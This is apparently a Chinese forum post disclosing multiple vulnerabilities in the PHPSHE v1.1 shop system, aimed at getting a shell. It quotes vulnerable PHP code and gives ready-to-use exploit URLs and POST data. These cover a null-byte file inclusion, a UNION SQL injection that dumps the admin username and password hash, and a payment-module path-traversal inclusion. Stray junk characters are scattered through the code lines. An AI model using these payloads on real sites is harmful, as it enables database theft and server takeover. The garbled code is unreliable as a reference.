phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
  u# d8 f$ W9 f% R. \% ^' W! ^% {/* Phpshe v1.1 Vulnerability
$ x* [: o* z, e0 l( F/ @- C/* ========================
- t! D* C/ d& N7 n' d$ V# X# s& o/* By: : Kn1f3
' J, }' H% @2 m- Q1 _/ C/ w2 |/* E-Mail : 681796@qq.com
: K: ~3 Q2 G& R2 \/*******************************************************/
0×00 整体大概参数传输
4 U. N# c0 M) G3 k' n) g
5 J0 J7 ?+ `6 @2 a# B3 z

9 N; d3 ~% t7 o0 T( E6 J; s" F1 ]//common.php
3 \. D/ Z1 I: r* g9 @if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
: ?7 d7 Z& A; _# \/ f# Q) Xelse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
2 d7 [# S$ t: \session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0 W5 X+ B+ E) p# A$ ^+ W0×01 包含漏洞
- m, R0 |* H- j) k

/ ], e- P) s$ V' w//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
% X3 p9 E0 \0 \" Zpe_result();
?>
//common 文件 第15行开始
* m2 ?& D  t' @+ [- R; Y3 Iurl路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
+ m1 j# [; Y+ X4 A% N7 p0 O$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
' A3 ?$ V. _6 C+ l9 W5 D1 l; l//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

$ n2 i% y' M2 Q. y. d/ a, a
0×02 搜索注入
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<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
6 w# R4 A6 Q- ^, Y$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
+ @, A, |3 i( S7 ~& \- r, q0 ~' d$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
: v8 W# `  I4 Q" E* Yif ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
6 L$ k& p  F6 L1 ]2 Y$ Z( `}
+ J& J! Y- @& C& s& \" T$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
/ c+ O" _  V% ]8 W9 m; lif ($_g_orderby) {
4 `1 h) V; K3 Y) B! l$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
# f7 U7 S+ u1 k}
" m2 `( X6 v+ ^7 U" i5 telse {
: T# t/ @2 S- c0 j% O6 o1 k$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
% u; g6 B  f7 {$ [4 E# i//热卖排行
$product_hotlist = product_hotlist();
  s* D- B0 c" q7 o0 k' j7 V//当前路径
& t' }- D/ n( |8 u: A$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
1 y) Q* ~  t5 F! D//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
. n  w" d+ M8 I& K+ z//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
7 H* U) r+ h% ~' \5 p* Q( U//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

- B" M6 ^- z! b5 d' ^0×03 包含漏洞2

0 h; }3 P+ J% b  L0 K& \  T<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

' s5 D5 i7 F- U8 ~3 m- i& k$cache_payway = cache::get('payway');

' e' ^% e2 l* C% Zforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

8 V& ^8 {6 o  A, z7 N, N4 uif ($k == 'bank') {

' L% @7 G/ x: v. H3 |6 \' Y$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

, M0 T5 Z9 O6 ~$ N2 L; Q( |, d}

}

( l* f5 E, C6 e9 v0 |* [4 J$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

- g" q/ c1 U  |; D! Vif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

* c# p4 y' n% j. f. n$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

- y# M$ M" G# N# l+ Rforeach ($info_list as $v) {

3 b* q7 F# L, H5 Z5 u$order['order_name'] .= "{$v['product_name']};";

}

+ g/ V8 j  E! [# T3 mecho '正在为您连接支付网站，请稍后...';

' `. @6 y; f. Q( cinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

- t/ X: e: y1 d/ Selse {

4 \3 B- m8 x4 P4 Bpe_error('支付错误...');

7 p& |" L& C# N2 e3 a}

}

$seo = pe_seo('选择支付方式');

6 j+ B6 i+ |3 j# Dinclude(pe_tpl('order_pay.html'));

1 J) T  V& t7 E  u# S% G5 E& Lbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>